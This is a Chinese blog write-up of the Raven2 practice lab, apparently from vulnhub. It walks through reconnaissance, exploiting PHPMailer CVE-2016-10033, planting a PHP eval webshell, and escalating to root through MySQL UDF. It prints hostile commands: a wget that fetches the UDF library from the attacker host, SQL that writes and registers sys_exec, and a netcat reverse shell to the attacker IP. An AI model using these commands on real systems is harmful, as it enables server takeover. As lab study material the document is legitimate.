Mysql udf提权靶场-vulnhub Raven2
文章目录
- 前言
- 一、udf提权介绍
- udf介绍
- 如何使用udf进行提权
- 二、信息收集
- 主机探测
- nmap扫描
- /etc/hosts配置
- dirb扫描后台
- /vendor
- 三、getshell
- 利用CVE-2016-10033
- 蚁剑上线
- 四、udf提权
- 数据库信息收集及脚本下载
- 提权
前言
最近学习的时候学到了udf提权,想着来实操一下。同时也记录一下我的理解。
kail 192.168.171.141
Raven2 192.168.171.171
一、udf提权介绍
udf介绍
udf(User Defined Function)是用户自定义函数,是通过添加新函数,对MYSQL的功能进行扩充。udf的原意是为了让开发者能够自己写方便自己的函数。
如何使用udf进行提权
udf提权就是利用到创建自定义函数(sys_eval,sys_exec,do_system等),在mysql中调用这个自定义的函数(sys_eval,sys_exec,do_system等)来实现获取对方主机的system的shell权限,从而达到提权的目的。攻击者如果获取了mysql的root账号情况下,就可以尝试进行udf提权。
Mysql版本大于5.1版本:udf.dll(udf.so)文件必须放置于MYSQL安装目录下的lib\plugin文件夹下。
Mysql版本小于5.1版本: udf.dll文件放置于c:\windows或者c:\system32
如果目录不存在则利用NTFS数据流创建文件目录
udf提权可以用于windows系统(udf.dll)也可以用于linux平台(udf.so)。
但udf提权基本上用于windows系统(毕竟服务器基本都是windows),所以linux系统中mysql版本<5.1版本udf.so该放哪里我通过网上查找也没有得到结果。如果路过的大佬知晓的话可以指点一下。
二、信息收集
主机探测
arp scan -l
确定了靶机ip 192.168.171.171.
nmap扫描
nmap -A -T4 192.168.171.171
可以看见开启了22,80,以及111端口。
/etc/hosts配置
可以看到很正常的页面
其中BLOG和contact点击后会进行跳转。
contact.php是一个发送信息的地方
看见wordpress,理所当然的要点击Log in
遇见这种情况主要是域名解析问题(有原本的192.168.171.171变为raven.local),只需要在/etc/hosts文件加入192.168.171.171 raven.local即可
到这一步,很明显我们要想到使用wpscan,但是这个靶机如果用wpscan扫的话是返回不了什么重要信息的。
dirb扫描后台
既然wpscan也不能用,线索没了就开始扫描后台
扫后台是扫出很多路径的,我基本上都尝试访问过了,这里只把重要的路径列举出来
/vendor
在/vendor/PATH文件中我们找到了第一个flag,同时也让我们知道了路径为/var/www/html。
在/vendor/VERSION中我们了解到一个版本号5.2.16
在/vendor/SECURITY.md中我们找到了关于关于PHPMailer <5.2.18的漏洞,结合刚刚我们获得的版本号5.2.16,猜测应该是这个网站运用了phpmailer同时版本是5.2.16,上网查找【CVE-2016-10033】发现是可以远程代码执行的,那么我们就可以利用这个漏洞尝试getshell。
三、getshell
利用CVE-2016-10033
searchsploit phpmailer
cp /usr/share/exploitdb/exploits/php/webapps/40974.py /root
该脚本还要进行修改
至于target的路径为什么是/contact.php,是因为利用该漏洞时攻击者主要在常见的web表单如意见反悔表单、注册表单中 ,邮件密码重置表单等使用发送的组件功能时利用此漏洞。而在信息收集时我们知道contact.php就有发送信息的功能。
python3 40974.py
接下来访问192.168.171.171/hack.php就可以反弹shell了
蚁剑上线
获取交互性shell
python -c 'import pty; pty.spawn("/bin/bash")'
echo '<?php eval($_POST['123456']);?>' >> hack.php
蚁剑链接
因为有wordpress文件存在,肯定要看一下wordpress-config.php文件的
可以看到我们获取了mysql数据库的用户和密码,并且用户是root
user:root passwd:R@v3nSecurity
四、udf提权
数据库信息收集及脚本下载
登录数据库
show global variables like 'secure%';
如果secure_file_priv值为空则可写,为指定路径则是指定路径可写。
show variables like '%compile%';
可以看到系统为linux(x86_64)这可以确定等下我们要用的脚本。
select @@plugin_dir #查找具体目录
select @@basedir;#查看mysql目录
kali:
find / -name "*mysqludf*" 2>/dev/null
cp /usr/share/metasploit-framework/data/exploits/mysql/lib_mysqludf_sys_64.so /root
python3 -m http.server 8000 #开启python3自带http服务 8000端口
Raven2:
cd /tmp
wget http://192.168。171.171:8000/lib_mysqludf_sys_64.so
提权
use mysql;
create table hack(line blob); #新建一个表,用来存放本地传来的udf文件的内容
insert into hack values(load_file('/tmp/lib_mysqludf_sys_64.so')); #在hack中写入udf文件内容
select * from hack into dumpfile '/usr/lib/mysql/plugin/lib_mysqludf_sys_64.so'; #将udf文件内容传入新建的udf文件中
create function sys_exec returns integer soname 'lib_mysqludf_sys_64.so'; #导入udf函数
select sys_exec('nc 192.168.171.141 6666 -e /bin/bash'); #执行
提权成功
Mysql udf提权靶场-vulnhub Raven2相关推荐
- Windows与Linux的MYSQL UDF提权分析
原理分析 什么是UDF 所谓UDF 就是user define function的简称,就是用户自定义函数,用户可以添加函数到mysql中实现功能的扩充,调用方法和一般函数一样类似于database( ...
- mysql udf提权_MySQL日志安全分析技巧
常见的数据库攻击包括弱口令.SQL注入.提升权限.窃取备份等.对数据库日志进行分析,可以发现攻击行为,进一步还原攻击场景及追溯攻击源. 0x01 Mysql日志分析 general query log ...
- mysql udf提权_mysql——udf提权
01 前言 udf = 'user defined function',即'用户自定义函数'.文件后缀为'.dll',常用c语言编写. 通过在udf文件中定义新函数,对MYSQL的功能进行扩充,可以执 ...
- mysql udf提权hex_Mysql_UDF提权
Mysql_UDF提权 作者:admin 发布于:2013-5-25 18:55 Saturday 分类:MYSQL Root权限 一.上传udf.dll 小于mysql5.1版本 C:\\WINDO ...
- MySQL UDF 提权
概述 UDF 全称 User Defind Function(用户自定义函数),用户通过自定义函数可以实现在 MySQL 中无法方便实现的功能,其添加的新函数都可以在 SQL 语句中调用,就像调用本机 ...
- MYSQL UDF提权
在学MYSQL的时候刚刚好看到了这个提权,很久之前用过别人现成的,但是一直时间没去细想, 这次就自己复现学习下. 0x00 UDF 什么是UDF? UDF (user defined function ...
- MySQL UDF提权执行系统命令
目录 UDF UDF提权步骤 使用MSF进行UDF提权 UDF提权复现(php环境) UDF UDF (user defined function),即用户自定义函数.是通过添加新函数,对MySQL的 ...
- mysql udf提权原理_udf提权原理详解
0x00-前言 这个udf提权复现搞了三天,终于搞出来了.网上的教程对于初学者不太友好,以至于我一直迷迷糊糊的,走了不少弯路.下面就来总结一下我的理解. 想要知道udf提权是怎么回事,首先要先知道ud ...
- mysql udf提权_三分钟解析postgresql提权
本头条号所分享文章仅供学习交流,请勿非法使用! 近期遇到一些关于提权的问题,和大家分享一下~ 创建环境 介绍 docker中有一个COPY命令: COPY 在 PostgreSQL表和标准文件系统文件 ...
最新文章
- Keras Bug 解决方法 Exception ignored in: bound method BaseSession.__del__ of
- webservice mysql配置_Nginx配置WebService、MySQL、SQL Server、ORACLE等代理
- LOJ.6053.简单的函数(Min_25筛)
- Android中Canvas绘图之Shader使用图文详解
- LinearLayout(线性布局)
- Web前端开发笔记——第二章 HTML语言 第八节 表单标签
- 《C++ Primer》读书笔记 第三章
- 加加减减的奥秘——从数学到魔术的思考(三)
- 那些年,我们见过的 Java 服务端“问题”
- 免费直播 | 宏基因组云讲堂第二期由刘永鑫博士主持,特邀王金锋副研究员分享“用时序微生物组数据重现生物膜装配的动态过程”...
- php上传文件表单,php中关于普通表单多文件上传的处理方法
- Codeforces Round #518 (Div. 2) B LCM
- Base64序列化和反序列化
- 圆柱体积怎么算立方公式_圆柱体积计算公式 怎么计算
- Linux 下搭建web压力测试工具web polygraph
- android 设内网固定ip,如何给手机设置一个固定的内网ip
- Docker 搭建PHP开发环境
- SpringBoot项目的Liunx服务器部署(一)
- 工资被倒挂,想离职很正常,但这3种情况要警惕
- Bacteria(优先队列)